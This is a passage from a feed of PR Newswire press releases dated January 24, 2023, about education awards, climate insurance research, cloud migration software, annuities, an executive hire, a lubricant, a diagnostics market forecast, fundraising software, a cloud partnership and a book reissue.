With nearly 340 years of combined teaching experience, this year's class of Extraordinary Educators includes classroom teachers, special education teachers, and instructional specialists. All of the educators were ultimately selected by an advisory board featuring leaders from Curriculum Associates, previously inducted Extraordinary Educators, and a college student pursuing a degree in urban education.

The Extraordinary Educators will have continued access to a network of peers from around the country to collaborate, connect, and learn from throughout the year as well as access to professional development opportunities from Curriculum Associates. They will also be invited to participate and present at the Extraordinary Educators Leadership Summit and other professional learning events.

"I am excited to be named an Extraordinary Educator because I love learning! i-Ready is a very different math curriculum from what I have seen in the past. We are in year three of implementation and it has given me an opportunity to test what I know and challenge what I don't in math," said Bryant. "As an Extraordinary Educator, I am looking forward to networking with other educators and all the hands-on professional development opportunities. I am always looking for different ways of thinking, breaking molds, and learning from others."

"It is humbling to have been chosen as Extraordinary Educator amongst so many admirable candidates. It is truly an honor," said Chavira. "I look forward to collaborating with other teachers and building a positive rapport with them."

This is the fourth year of the Extraordinary Educators program. This year's class joins 110 additional educators from across the country in receiving this recognition.

Today, Curriculum Associates' programs are used in one-third of schools in New Mexico.

To learn more about Curriculum Associates and the 2023 Extraordinary Educators, visit CurriculumAssociates.com/Extraordinary-Educators/Classes.

About Curriculum Associates

Founded in 1969, Curriculum Associates, LLC designs research-based print and online instructional materials, screens and assessments, and data management tools. The company's products and outstanding customer service provide teachers and administrators with the resources necessary for teaching diverse student populations and fostering learning for all students.

Contact: Kati Elliott Charlotte Fixler

KEH Communications Curriculum Associates

(410) 975-9638 (978) 901-6066

[email protected] [email protected]

SOURCE Curriculum Associates, LLC
BOSTON, Jan. 24, 2023 /PRNewswire/ -- Ceres, in collaboration with the ESG Initiative and Wharton Climate Center at the Wharton School, released a report today that finds U.S. climate-related disaster insurance is often inaccessible, unaffordable, or does not meet the needs of certain populations.

Inclusive Insurance for Climate-Related Disasters: A Roadmap for the United States examines the role of insurance in recovery from climate disaster across socioeconomic groups in the U.S. The analysis found low- to moderate-income households and communities of color are disproportionally affected by climate disasters and more likely to experience financial shocks but without financial savings, or insurance, to cover them.

Low- to moderate-income households and communities of color are disproportionally affected by climate disasters Tweet this

The frequency and severity of natural disasters are increasing due to climate change. According to the NOAA, climate disasters have inflicted $2.3 trillion in costs since 1980. Between 2012 and 2021, these events cost the U.S. at least $1 trillion in total.

Climate disasters translate into financial shocks to underserved communities. Costs include direct damage to property; expenses for evacuation and temporary living accommodations during repairs; interim expenses for disrupted utilities or transportation; and loss of income from business interruption.

The report's authors are Carolyn Kousky, Associate Vice President of Economics and Policy at EDF, and Karina French, Manager, Climate Resilience Research at EDF.

The analysis provides actionable guidance for developing an inclusive insurance system that is affordable, accessible, transparent, people-centered, and just. It provides recommendations to U.S. policymakers, regulators, and the private sector including:

Introducing new types of coverage for insurance to be fully inclusive.

Subsidizing insurance for vulnerable households by both the public sector and private sectors.

Creating a "Community Reinvestment Act" for the insurance sector to extend insurance coverage to unserved and underserved populations.

Developing public/private partnerships to design new types of insurance coverage and disaster mitigation programs.

Developing regulations to cover the new types of insurance coverage.

Simplifying claims processes and coverage statements for all policyholders.

Making insurance coverage and claims data public for research purposes.

Developing new regulations to prevent discrimination in insurance.

This report was done in consultation with organizations in several affected communities. It includes studies from New York City, Portland, Oregon, and Puerto Rico that outline providing inclusive insurance to unserved and underserved communities.

At 1 pm ET on Feb. 22, Ceres will host a webinar diving further into report findings and recommendations. Register here.

Media Contact: Reggie Zimmerman

Original Publication

SOURCE Ceres
The new self-service product delivers seamless automatic SQL code and ETL translation

TORONTO , Jan. 24, 2023 /PRNewswire/ - Next Pathway Inc. , the Automated Cloud Migration company, announces the next-generation code translation software for intelligent automated cloud migrations. With SHIFT Cloud, Next Pathway introduces a revolutionary approach to how customers move legacy workloads from data warehouses and data lakes to the cloud.

Now, customers can upload, analyze, and translate their entire legacy code base, including SQL code and ETL pipelines, to the cloud target of their choosing in a self-service capacity. SHIFT Cloud eliminates the guesswork and frustration from the cloud migration process, giving customers a reliable and simple method to translate complex legacy workloads, in their entirety, to leading cloud targets.

SHIFT Cloud can be accessed as a Software as a Service (SaaS) model or deployed directly into a customer's environment, providing ultimate flexibility to how customers want to manage their cloud migrations.

"SHIFT Cloud puts the power of automatic code translation into the customers' hands while ensuring the high degree of accuracy and performance necessary to streamline the cloud migration process," said Chetan Mathur, CEO of Next Pathway. "Companies have invested years in developing legacy applications; moving these to the cloud was previously time-intensive and expensive, often leaving the customer with partially translated files. Our entire focus at Next Pathway is to build the best and most innovative products to accelerate and simplify the end-to-end migration to the cloud. Our technology does all the heavy lifting, so you don't have to."

Three clicks to code translation

Translating legacy workloads to cloud targets is a three-step process with SHIFT Cloud:

Upload. Select your source system files and upload them to SHIFT Cloud. Analyze. Generate a comprehensive Analyzer Report of all the objects in your source systems and the expected automated code translation based on your selected cloud target. Translate. Trigger automatic code translation to your selected cloud target, including SQL code and ETL pipelines.

Upload files from virtually any legacy system

Choose the files from your legacy systems for code translation. SHIFT Cloud can translate code from legacy sources, including Teradata, Netezza, SQL Server, Hive, Oracle and DB2 plus ETL pipelines, such as DataStage and SSIS.

Analyze your full legacy workload prior to translation, including ETL pipelines

SHIFT Cloud automatically scans legacy files to reveal the total composition of the objects and derives the expected automatic code translation based on the selected cloud target. The Analyzer Report reviews legacy source system's full breadth and size, providing a complete inventory of all code objects. Valuable details in this report include the line counts by object type and any exceptions to the cloud target.

Translate your code and ETL pipelines

SHIFT Cloud will automatically translate SQL code and ETL pipelines to selected cloud targets, such as Snowflake, Azure Synapse (including Azure Data Factory), AWS Redshift and Google BigQuery. Translations typically take only hours to perform. Customers can check the status of their code translation and receive a notification when their translation is complete. Once completed, customers can view the original and translated source code side-by-side in a user-friendly interface.

SHIFT Cloud also identifies any translation exceptions; however, SHIFT Cloud achieves incredibly high translation rates, even for complex stored procedures and multifaceted ETL pipelines.

"Moving operations to the cloud is a no-brainer," says Mathur. "It delivers the operational efficiencies that are more imperative than ever, especially as economic headwinds ramp up. The cloud also helps facilitate the transformational initiatives that modern enterprises require to stay ahead of the competition. But many companies are still waiting on the sidelines; our survey data from 2022 shows that only 34% have taken the plunge. Meanwhile, year-over-year expansion rates for hyperscale cloud platforms such as Amazon AWS, Google Cloud Platform and Microsoft Azure, while continuing to climb, are slowing down . Although the cloud offers tremendous advantages, for far too many organizations, the migration process is just too overwhelming. Now, with SHIFT Cloud, it doesn't have to be. This is the reason we built SHIFT Cloud."

About Next Pathway

Next Pathway is the Automated Cloud Migration company. Powered by Crawler360 and SHIFT Cloud, Next Pathway automates the end-to-end challenges companies experience when migrating applications to the cloud. For more information, please visit nextpathway.com .

Connect with Next Pathway

Blog | LinkedIn | Twitter

SOURCE Next Pathway
North American Secure HorizonSM fixed index annuity suite expanded with new Secure HorizonSM Choice

DES MOINES, Iowa, Jan. 24, 2023 /PRNewswire/ -- North American Company for Life and Health Insurance (North American), a member company of Sammons Financial Group and one of the largest issuers of fixed index annuities (FIAs) in the U.S.,1 has once again joined forces with Annexus, a premier independent designer of FIAs. The new North American Secure HorizonSM Choice (Secure Horizon Choice) fixed index annuity offers shorter 5- and 7- year terms and is designed to help clients reach their financial goals by offering growth and protection for their retirement savings.

In addition to an automatic and industry-first Performance Strategy Ladder created to provide enhanced growth opportunities, Secure Horizon Choice also offers an optional 4-in-1 Retirement Benefits Rider.2 Available for an additional cost, the 4-in-1 Retirement Benefits Rider helps address the primary risks clients may face in retirementdeath, health impairment, longevity, and the possible reduction in benefits that the Social Security Administration projects may occur starting in 2034.3

"Secure Horizon Choice is the next evolution in FIA design."  Ron Shurts, Annexus Co-Founder and CEO Tweet this

"We are proud to continue working with Annexus, building on the success of North American Secure HorizonSM and North American Secure HorizonSM Plus FIAs," said Rob TeKolste, president, Sammons Independent Annuity Group. "Secure Horizon Choice is yet another innovative solution for financial professionals to expand their services and better meet clients' needs. In addition to helping clients grow and protect their savings, the optional 4-in-1 Retirement Benefits Rider available with Secure Horizon Choice enables them to prepare for the four common risks that may derail retirement plans."

"Annexus strives to provide our distribution partners with the most innovative solutions on the market," said Ron Shurts, Annexus Co-founder. "Secure Horizon Choice is precisely that the next evolution in FIA design, providing a competitive growth opportunity that complements the Annexus portfolio of top-tier products. One of the most unique things about this new FIA suite is the option to elect the Retirement Benefits Rider which includes a groundbreaking Social Security reduction-triggered benefit and a two-of-six activities of daily living benefit. We're excited to extend our partnership with North American and PlanGap to bring this product to market nationally."

Advisors, Registered Investment Advisors (RIAs), and insurance professionals seeking access to this product should contact their Annexus-affiliated Independent Distribution Company. If you are a consumer interested in learning about Secure Horizon Choice, ask your financial professional for more information.

About North American Company for Life and Health Insurance

North American Company for Life and Health Insurance is a member of Sammons Financial Group, Inc. Since 1886, North American has established a tradition of providing quality insurance products to consumers throughout the U.S. We offer a comprehensive portfolio of term, universal life, and indexed universal life insurance products. North American also offers a wide variety of traditional fixed and fixed index annuities and consistently ranks among the top fixed index annuity carriers in the U.S. For more information, please visit here.

1Source: 3rd Quarter 2022 Wink's Sales & Market and LIMRA/Secure Retirement Institute reports.

2The Retirement Benefits Rider has an additional cost that is charged as a percentage of the Accumulation Value on each Contract anniversary.

3Source: The 2022 Annual Report of the Board of Trustees of the Federal Old-Age and Survivors Insurance and Federal Disability Insurance Trust Funds.

About Annexus

Annexus designs solutions to help Americans grow and protect their retirement savings. For over a decade, Annexus has developed market-leading fixed index annuities and indexed universal life insurance products. Annexus has forged relationships with many of the industry's leading insurance carriers and the world's largest investment banks. Find out more about Annexus and its products at www.annexus.com.

About PlanGap

Headquartered in Atlanta and founded in 2017, PlanGap is a product innovation company creating a suite of "trigger-based" annuity and life insurance productsretirement insurancethat solve previously unaddressed financial concerns for retirees. PlanGap, through its insurance carrier and distribution partners, empowers people to protect themselves against disruptions to their retirement income, providing solutions for those worried that institutions have made retirement promises they cannot, or will not, keep. Visit plangap.com for more information.

DISCLOSURES

North American Secure HorizonSM Choice is issued on base contract form NA1015A/ICC21-NA1015A or appropriate state variation including all applicable endorsements and riders by North American Company for Life and Health Insurance, West Des Moines, IA. This product, its features and riders may not be available in all states.

The term financial professional is not intended to imply engagement in an advisory business in which compensation is not related to sales. Financial professionals that are insurance licensed will be paid a commission on the sale of an insurance product.

Fixed index annuities are not a direct investment in the stock market. They are long-term insurance products with guarantees backed by the issuing company. They provide the potential for interest to be credited based in part on the performance of specific indices, without the risk of loss of premium due to market downturns or fluctuation. Although fixed index annuities guarantee no loss of premium due to market downturns, deductions from your accumulation value for optional benefit riders or strategy fees or charges associated with allocations to enhanced crediting methods could exceed interest credited to the accumulation value, which would result in loss of premium. They may not be appropriate for all clients. Interest credits to a fixed index annuity will not mirror the actual performance of the relevant index.

North American Company for Life and Health Insurance is not affiliated with the Social Security Administration (SSA). North American's product(s) are not sponsored, endorsed, sold or promoted by the Social Security Administration, and they make no representation regarding the advisability of purchasing of the product.

PR-117-2-23

SOURCE Annexus
Former Ex Libris, Verint Executive Brings Operational and Professional Services Experience to Senior Management Team to Support Customer Experience

BOSTON and LONDON, Jan. 24, 2023 /PRNewswire/ -- Novidea, creator of the data-driven, cloud-native insurance platform that enables brokers, agents, and MGAs to reduce costs and drive growth across the distribution lifecycle, has appointed Yaniv Cohen as Chief Customer Officer (CCO). With the company's global scale-up, Cohen leads Novidea's implementation and customer success strategy, ensuring smooth delivery of Novidea's insurance management platform across the entire customer journey, from onboarding to contract renewal.

Cohen brings 20 years of experience in professional services, operations, and customer success to the position. He joins Novidea after spending six years as Corporate Vice President of Global Professional Services at Ex Libris, a SaaS and mobile solutions provider for the higher education market. Prior to Ex Libris, Yaniv spent over a decade at Verint Systems, a leading customer engagement platform. He held multiple senior roles at Verint, including COO, VP of Business Development, and VP of Customer Care. Yaniv also previously held executive positions at Emblaze Systems.

"With the fast growth of Novidea's business and the increase in our customer base, Novidea prioritizes its commitment to working closely with our customers at every step of their digital transformation. Yaniv's depth of experience in professional services and customer care was a key factor in choosing him for the role," said Roi Agababa, CEO of Novidea. "As Novidea continues to grow, I am confident in Yaniv's ability to refine and scale our delivery and implementation processes, so we can empower our global customers to transform and digitalize their businesses seamlessly."

"It's an honor to join this exceptional team and lead Novidea's customer success initiatives on a global scale," said Cohen. "I've already seen firsthand the company's deep obligation to its international customer baseit influences every decision they make. I aim to ensure that each customer extracts maximum value from the Novidea platform, now and in the future."

About Novidea

Novidea is the leading Insurtech provider of a cloud-native, data-driven insurance management system. Using an open API architecture, Novidea's software platform enables brokers, agents, and MGAs to modernize and manage the customer insurance journey, end-to-end, and drive growth across the entire insurance distribution lifecycle.

The Novidea platform, built to leverage the power of Salesforce's Big Technology, provides a complete ecosystem spanning every aspect of an insurance business, including a 360-degree view of the customer and all stakeholders, an integrated customer-facing policy transactions, and the middle and back office. Brokers, agencies, and MGAs extract more value from their customer and policy data with actionable intelligence from any device, anywhere.

Novidea supports more than 100 customers, including agents, brokers, MGAs, and the London market across 22 countries.

For more information, please go to: www.novidea.com

For further information, contact:

Simon Hayes, M.D. (UK media contact)

NextGen Communications

[email protected]

M: +44 (0)7771 516544

Michelle Barry

Chameleon Collective (US media contact)

[email protected]

T: +1 (603) 809-2748

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SOURCE Novidea
The Canadian Brand's 100% Natural, Water and Plant-Based Lubricant Is the Perfect Way to Reignite That Passion in the Bedroom

FORT LAUDERDALE, Fla., Jan. 24, 2023 /PRNewswire/ -- The founding team at ODAYA is well aware of the fact that many factors can inhibit a healthy sex life. Therapists report things like a loss of physical intimacy, a lack of communication, and different sexual styles as reasons that couples struggle to maintain healthy levels of intimate connection  including in the bedroom. While there are certainly mental challenges that come with the struggle to stay intimate, there are also physical repercussions that can take place, like dryness and a lack of necessary lubrication.

"One common solution for this common concern is to use a lubricant," says ODAYA co-founder Joelle Pilote, "There is no shortage of options available. The question is, how safe and effective are they?" It is an inquiry worth asking.

A decade ago, the World Health Organization was already raising awareness when it came to the potentially negative side effects of using certain lubricants. An official advisory note published by WHO highlighted certain things, like pH balance and a lower osmolality (i.e., not too thick), as essential elements for healthy lubricated intercourse. Since then, other concerns have been raised, such as using dangerous, synthetic, and even toxic chemicals that can turn a potential solution into just another part of an ongoing intimacy problem.

Pilote and her co-founding partners, dynamic wife and husband duo Stephanie Girard and Maxime Lemieux, knew there had to be a better way to improve sex. This led them to develop their innovative intimacy product ODAYA Ganja . The formula is an all-natural, water-based lubricant that is, among other things, eco-friendly, non-greasy, pH balanced (i.e., good for all skin types), vegan, GMO and paraben free, flavorless, and fragranceless.

In addition, ODAYA Ganja has a lower osmolality that avoids the harmful side effects of thicker lubricants. Instead of excessive consistency, the formula is the first Canadian brand to use organic hemp oil to deliver a silky, non-sticky, non-irritating experience that optimizes both comfort and pleasure.

"No one should feel uncomfortable during sex," Pilote emphatically declares, "Our revolutionary formula has been improving intimacy for two decades without the need to resort to harsh chemicals or higher osmolality. It is a thoughtfully formulated lubricant that is designed by the people for the people to genuinely improve intimacy without creating other issues in the process."

About ODAYA

ODAYA is a natural, women-led intimacy brand owned by Tingg Agency Inc. Founded in Quebec, Canada in 2001, ODAYA focuses on three core values: quality, simplicity, and inclusivity. The company uses ingredients specifically selected to bring comfort, pleasure, and confidence. Its mission is to enhance optimal health and lifestyle, promote self-care, and improve total well-being. Learn more at odayawellness.com .

Media Contact:

Maxime Lemieux

514 298-0312

[email protected]

SOURCE ODAYA
Development of the automotive industry, increase in demand for IoT-based technology, and high demand for safety features in vehicles drive the global on-board diagnostics device market growth

PORTLAND, Ore., Jan. 24, 2023 /PRNewswire/ -- Allied Market Research published a report, titled, "On-Board Diagnostics Device Market by Type (Hand-held tools, Mobile-based tools, PC-based tools, Others), by Vehicle Type (Passenger Cars, Light Commercial Vehicles, Heavy Commercial Vehicles, Electric Vehicle): Global Opportunity Analysis and Industry Forecast, 2021-2031." According to the report, the global on-board diagnostics device industry generated $21.3 billion in 2021, and is estimated to reach $63.7 billion by 2031, witnessing a CAGR of 11.7% from 2022 to 2031. The report offers a detailed analysis of changing market trends, top segments, key investment pockets, value chain, regional landscape, and competitive scenario.

Download Free Sample Report @ https://www.alliedmarketresearch.com/request-sample/32306

Drivers, Restraints, and Opportunities

Development of the automotive industry, increase in demand for IoT-based technology, and high demand for safety features in vehicles drive the growth of the global on-board diagnostics device market. However, high implementation cost coupled with complexities in configuration and frequent requirement of troubleshooting & high maintenance of automotive software create a negative impact, hampering the global market growth. On the other hand, factors such as developments in semi-autonomous & autonomous vehicles and advent of multifunctional systems present new growth opportunities for the global market in the coming years.

Covid-19 Scenario

The on-board diagnostics device market was severely impacted by the outbreak of the COVID-19 pandemic. This is because production and manufacturing facilities worldwide were shut down, owing to lockdown and unavailability of workforce. The pandemic brought hindrances in the global supply chain, thereby creating significant gap in the same.

Companies operating in the on-board diagnostics device market experienced a slowdown, owing to lack of availability of skilled professionals to develop on-board diagnostics device solutions, which caused a decline in revenues for the financial year 2020 to 2021.

However, the market recovered post the pandemic and will remain in the growth stage during the forecast period.

The hand-held tools segment to maintain its revenue dominance during the forecast period

Based on type, the hand-held tools segment was the largest market in 2021, contributing to more than half of the global on-board diagnostics device market, and is expected to maintain its leadership status during the forecast period. This is because these tools are available at all the service stations as well as with individuals who have knowledge about vehicle servicing. Moreover, the aftermarket companies that are involved in the production of diagnostic components offer products, which can be used for vehicle diagnosis. On the other hand, the mobile-based tools segment is projected to witness the fastest CAGR of 15.5% from 2022 to 2031. Rapid technological advancements coupled with the rise in need for smart vehicle diagnostic components supplements the growth of the segment.

Interested to Procure the Data? Inquire Here (Get Full Insights in PDF - 193 Pages) @ https://www.alliedmarketresearch.com/purchase-enquiry/32306

The passenger cars segment to maintain its dominance during the forecast period

Based on vehicle type, the passenger cars segment held the largest market share of more than two-thirds of the global on-board diagnostics device market in 2021 and is expected to maintain its dominance during the forecast period. This is owing to passenger vehicles playing a vital role in the transportation industry. Moreover, surge in penetration of passenger vehicles propel the need for advanced technologies, such as the advanced driver assistance system (ADAS), which provide numerous safety & security features. On the other hand, the electric vehicle segment is projected to witness the largest CAGR of 15.29% from 2022 to 2031. This is because electrical vehicles do not require fuel for propulsion and are ecofriendly as compared to internal combustion engine-based vehicles. Moreover, the installation of advanced driving system in new electric vehicles require different types of sensors, such as ultrasonic or infrared, which significantly contributes toward the growth of the market.

Asia-Pacific to achieve the fastest growth by 2031

Based on region, Asia-Pacific would manifest the fastest CAGR of 13.84% during the forecast period. The growth is driven by numerous development and product offerings made by key companies operating across Asia-Pacific. However, North America was the largest market in 2021, capturing more than one-third of the global on-board diagnostics device market. On the other hand, the market in Europe is expected to lead in terms of revenue in 2031. Companies such as BMW AG, Continental AG, Delphi Technologies, and Robert Bosch GmbH mark their presence across European countries and supplements the growth of on-board diagnostics device market across the region.

Enquire for Customization with Detailed Analysis of COVID-19 Impact in Report @ https://www.alliedmarketresearch.com/request-for-customization/32306?reqfor=covid

Leading Market Players

Detroit Diesel Corporation

Zubie, Inc.

Innova Electronics Corp.

AVL DiTEST GmbH

Robert Bosch GmbH

Vector Informatik GmbH

Denso Corporation

Autel Intelligent Technology Corp., Ltd.

ERM Electronic Systems Ltd.

Verizon Communications Inc.

The report analyzes these key players of the global on-board diagnostics device market. These players have adopted various strategies such as expansion, new product launches, partnerships, and others to increase their market penetration and strengthen their position in the industry. The report is helpful in determining the business performance, operating segments, product portfolio, and developments by every market player.

Key Benefits for Stakeholders:

This report provides a quantitative analysis of the market segments, current trends, estimations, and dynamics of the on board diagnostics device market analysis from 2021 to 2031 to identify the prevailing on board diagnostics device market opportunity.

The market research is offered along with information related to key drivers, restraints, and opportunities.

Porter's five forces analysis highlights the potency of buyers and suppliers to enable stakeholders make profit-oriented business decisions and strengthen their supplier-buyer network.

In-depth analysis of the on board diagnostics device market outlook assists to determine the prevailing market opportunities.

Major countries in each region are mapped according to their revenue contribution to the global market.

Market player positioning facilitates benchmarking and provides a clear understanding of the present position of the market players.

The report includes the analysis of the regional as well as global on board diagnostics device market trends, key players, market segments, application areas, on board diagnostics device market forecast and market growth strategies.

On-board Diagnostics Device Market Key Segments:

Type

Hand-held tools

Mobile-based tools

PC-based tools

Others

Vehicle Type

Passenger Cars

Light Commercial Vehicles

Heavy Commercial Vehicles

Electric Vehicle

By Region

North America (U.S., Canada , Mexico )

(U.S., , ) Europe (UK, Germany , France , Russia , Rest of Europe )

(UK, , , , Rest of ) Asia-Pacific ( China , Japan , India , Australia , Rest of Asia-Pacific )

( , , , , Rest of ) LAMEA ( Latin America , Middle East , Africa )

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Trending Reports in Semiconductor and Electronics Industry (Book Now with 10% Discount + COVID-19 Scenario):

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About Us:

Allied Market Research (AMR) is a full-service market research and business-consulting wing of Allied Analytics LLP based in Portland, Oregon. Allied Market Research provides global enterprises as well as medium and small businesses with unmatched quality of "Market Research Reports" and "Business Intelligence Solutions." AMR has a targeted view to provide business insights and consulting to assist its clients to make strategic business decisions and achieve sustainable growth in their respective market domain.

We are in professional corporate relations with various companies and this helps us in digging out market data that helps us generate accurate research data tables and confirms utmost accuracy in our market forecasting. Allied Market Research CEO Pawan Kumar is instrumental in inspiring and encouraging everyone associated with the company to maintain high quality of data and help clients in every way possible to achieve success. Each and every data presented in the reports published by us is extracted through primary interviews with top officials from leading companies of domain concerned. Our secondary data procurement methodology includes deep online and offline research and discussion with knowledgeable professionals and analysts in the industry.

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SOURCE Allied Market Research
Thousands of nonprofits use OneCause fundraising software to accept donations and manage events in support of their missions

INDIANAPOLIS, Jan. 24, 2023 /PRNewswire/ -- OneCause, a leading provider of digital fundraising technology, starts 2023 by celebrating a major milestone: since the company's founding, nonprofit customers have collectively raised over $5 billion for their missions using the company's fundraising software. During this time, over 55,000 campaigns have been hosted on the fundraising platform, advancing causes like health and human services, animal welfare, human rights, education, and youth development.

"At OneCause, we feel a shared sense of responsibility to help nonprofits build better tomorrows," said Steve Johns, chief executive officer of OneCause. "Our customers are a collective force for good, and we're here to support them with innovative fundraising technology and best-in-class support and service. Despite today's unprecedented challenges, we're continuing to grow and invest in our team and product offerings to transform generosity for nonprofits and donors alike."

OneCause changed the face of fundraising auctions fifteen years ago when it launched one of the first mobile bidding solutions for nonprofits, then called BidPal. Organizations of all sizes have used the company's fundraising software to advance their missions, including American Lung Association, Arthritis Foundation, Big Brothers Big Sisters of America, Gigi's Playhouse, Human Rights Campaign, JDRF, and March of Dimes. To date, more than 10,000 nonprofits have partnered with OneCause for their event and online fundraising initiatives.

The $5 billion milestone comes after a year of innovation and growth at the company, during which OneCause customers raised over $1 billion dollars for their causes in 2022 alone. In October 2022, the company launched their new OneCause Fundraising Platform to help nonprofits provide a seamless, modern giving experience for donors who now expect the same ease, immediacy, and personalization during their charitable interactions that they've become accustomed to from ecommerce retailers. The new Fundraising Platform includes tools to engage donors and save time for nonprofits, including:

Flexibility to switch between in-person, virtual, or hybrid events

Contactless express check-in via QR code

Multiple giving options that appeal to varying donor preferences

Messaging and live chat to engage guests at all stages of an event

Real-time global and event-level fundraising analytics

Powerful tools to drive ROI for event sponsors

OneCause has experienced significant growth in several areas in recent years. Since 2019, the company has seen 45% growth in software subscriptions and a 78% increase in the number of fundraising campaigns nonprofit customers have held annually using OneCause fundraising technology. The company's Raise conference, which began in 2017, has brought together more than 9,500 fundraising professionals, consultants, industry thought leaders, and nonprofits from around the world to connect and learn from experts in the social good sector.

To learn more about OneCause and the nonprofits it serves, visit https://www.onecause.com/about-us/

About OneCause

OneCause is driving the future of fundraising with easy-to-use digital fundraising solutions that help nonprofits improve the giving experience and raise more money. OneCause builds technology that optimizes everyday generosity, making it easier for nonprofit organizations to fundraise and for nonprofit supporters to give. Since 2008, OneCause has helped over 10,000 nonprofits in the United States and Canada raise more than $5 billion for their missions. Headquartered in Indianapolis, OneCause is committed to driving innovation in the charitable sector, bringing together nonprofit professionals across the world for the annual Raise Conference to exchange ideas that further fundraising. For more information, visit www.onecause.com or follow us on LinkedIn, Twitter, Instagram, and Facebook.

Media Contact:

Sarah Sebastian

[email protected]

SOURCE OneCause
MIDDLETON, Wis. , Jan. 24, 2023 /PRNewswire/ -- OneNeck IT Solutions, a leading provider of hybrid IT and multi-cloud solutions and services, announced today that Nutanix, Inc. has named OneNeck as the first North American service provider to reach Champion status in the Nutanix Elevate Service Provider Program. An invite-only status, this achievement demonstrates OneNeck's commitment to Nutanix with 150+ certifications, a Nutanix powered hosted private cloud (ReliaCloud), and its extensive Nutanix portfolio productization for managed services.

OneNeck IT Solutions named the first North American partner to reach Service Provider Champion status by Nutanix, Inc. Tweet this Nutanix Reseller Champion

OneNeck is the first and only Nutanix Partner in the US that is dual recognized at Champion Status in both the Elevate Service Provider and Reseller Partner Programs.

As a core technology in OneNeck's next-generation ReliaCloud, Nutanix's software-defined platform includes a security-first, defense-at-every-level approach, supporting ReliaCloud as a highly secure private cloud solution backed by OneNeck's 100% service level agreement (SLA) for availability. ReliaCloud was also the first hosted cloud practice to embrace Nutanix AOS, AHV and the Nutanix hosted VDI as core components of its service offering.

Built to evolve as technology and customer requirements change, ReliaCloud powered by Nutanix is designed first and foremost around customer experience, cost effectiveness and expediency of service delivery.

OneNeck Chief Operating Officer, Ted Wiessing states, "OneNeck's highly certified partner status in the Nutanix Elevate Service Provider Program brings ongoing benefits to our customers as ReliaCloud's comprehensive ecosystem of integrated multi-cloud services align and expand with the Nutanix service portfolio. This means that as our customer's technology requirements grow, ReliaCloud powered by Nutanix grows with them."

Additionally, as a provider that fully embraces the realities of hybrid IT, OneNeck continues to offer Nutanix solutions for on-premise environments and also maintains the Champion status in the Nutanix Elevate Reseller Program. Continues Wiessing, "It's always our goal to meet customers where they are with solutions that best fit their requirements whether that be on premise, in the cloud or both. By offering solutions across the Nutanix portfolio, we can work together to ensure every customer's optimal cloud experience."

As the demand for cloud services continues to grow, partnerships like OneNeck's with Nutanix will only elevate the level of multi-cloud services available to customers seeking greater agility and diversified services that are required to succeed in an always-on, digital economy.

Additional Resources:

More detail on the Nutanix Service Provider Program can be found at https://www.nutanix.com/partners/service-providers.

About OneNeck IT Solutions

OneNeck IT Solutions LLC, a wholly owned subsidiary of Telephone and Data Systems, Inc., employs 450 people throughout the U.S. The company offers multi-cloud solutions, combined with managed services, professional IT services, hardware and local connectivity via top-tier data centers in Arizona, Colorado, Iowa, Minnesota, Oregon and Wisconsin. OneNeck's team of technology professionals deliver secure, modern platforms and applications for organizations embracing data-driven transformation and secure end-to-end solutions. Visit oneneck.com.

Telephone and Data Systems, Inc. [NYSE: TDS], a Fortune 1000 company, provides wireless; cable and wireline broadband, TV and voice; and hosted and managed services. TDS has approximately six million connections nationwide through its businesses U.S. Cellular, TDS Telecom, OneNeck IT Solutions LLC and TDS Broadband Service. Recently, TDS has been named to three Forbes lists: America's Best Employers for Diversity, Best Large Employers, and Best Employers for Women. Founded in 1969 and headquartered in Chicago, TDS employs 9,400 people. Visit tdsinc.com.

SOURCE OneNeck IT Solutions
Reissue on Sale Jan. 24 with Foreword by Oregon Icon Len Bergstein

SILVER SPRING, Md., Jan. 24, 2023 /PRNewswire/ -- On Jan. 24, 2023, Oregon Loves New York: A Story of American Unity After 9/11 will be reissued with a foreword by the Flight for Freedom's "moral center," Len Bergstein, plus a comprehensive index.

This true story of unsung heroes of diverse backgrounds and social status who came together after 9/11 won the Independent Author Network's finalist award for nonfiction history and has been chosen by the Library of Congress for its collection.

"Oregon Loves New York" by Sally Ruth Bourrie. Reissue with foreword by Len Bergstein and new index on sale Jan. 24. Award-winning book documents a little-known event in American history: the Flight for Freedom. Three weeks after 9/11, 1,000 courageous Oregonians of diverse backgrounds and social status came together on 62 flights to New York City to show Americans not to be afraid, and to help New York's struggling economy. They discovered that grieving New Yorkers needed their hearts the most. "Oregon Loves New York" by Sally Ruth Bourrie. Reissue goes on sale Jan. 24. Full cover with quotes from former New York Gov. Pataki, Oregon Sen. Ron Wyden, former Oregon Sen. Gordon Smith, Flight for Freedom leader Portland Mayor Vera Katz, and Portland State University Director of Marketing and Freedom Flier. The true story of unsung heroes of diverse backgrounds and social status who came together after 9/11. Winner of the Independent Author Network finalist award for nonfiction history.

Based on author Sally Ruth Bourrie's reporting for the Chicago Tribune and The Boston Globe, over 100 interviews, and contemporary news articles and memoirs, Oregon Loves New York documents a little-known event in American history: the Flight for Freedom.

Three weeks after the 9/11 attacks, 1,000 courageous Oregonians led by Portland Mayor Vera Katz took 62 flights to New York City to show the terrorists they had not shut down American life and to boost the city's struggling economy. What they found were fellow Americans who needed more than money, they needed their hearts.

"The symbolic commitment to be a part of the recovery of New York from these horrible attacks meant a great deal to all New Yorkers and sent a very positive message to the entire nation," said former New York Governor George Pataki. "The Flight for Freedom demonstrated that people from 3,000 miles across the continent felt comfortable and safe in the streets, and that message got out in the rest of the country."

The Oregonians marched in the Columbus Day Parade, rang the New York Stock Exchange opening bell, held a memorial service at Union Square, appeared on Good Morning America, spoke at the Cathedral of St. John the Divine's Blessing of the Animals, sponsored a Chinatown banquet for 700, and more.

Easily spotted in T-shirts and buttons with two Douglas firs and "Oregon  New York," Freedom Fliers were stopped, hugged and thanked by grieving New Yorkers. Oregonians listened to their 9/11 stories and were called to be present in more ways than they could have anticipated.

An all-volunteer effort, no one made money on the Flight for Freedom. Packages started at $379 for airfare and two nights at the Waldorf Astoria.

Len Bergstein was legislative aide to Oregon Gov. Bob Straub, aide to Portland mayor and U.S. Secretary of Transportation Neil Goldschmidt, and owned a political consulting firm. He died unexpectedly in October 2022, just hours after his weekly KGW-TV commentary.

As a Flight for Freedom organizer, Bergstein brought strategy, media expertise and relationships. But his greatest contribution is the event's greatest legacy: Bergstein kept compassion, courage and caring at its center and made sure that the message was clear.

713 pages, nearly 200 color photos. Learn more about the book and Sally Ruth Bourrie at https://oregonlovesnewyork.com/ and https://sallybourrie.com/.

CONTACT:

Sally Bourrie

301-608-8070

503-730-7738 (cell)

Facebook: @FlightForFreedomBook2021

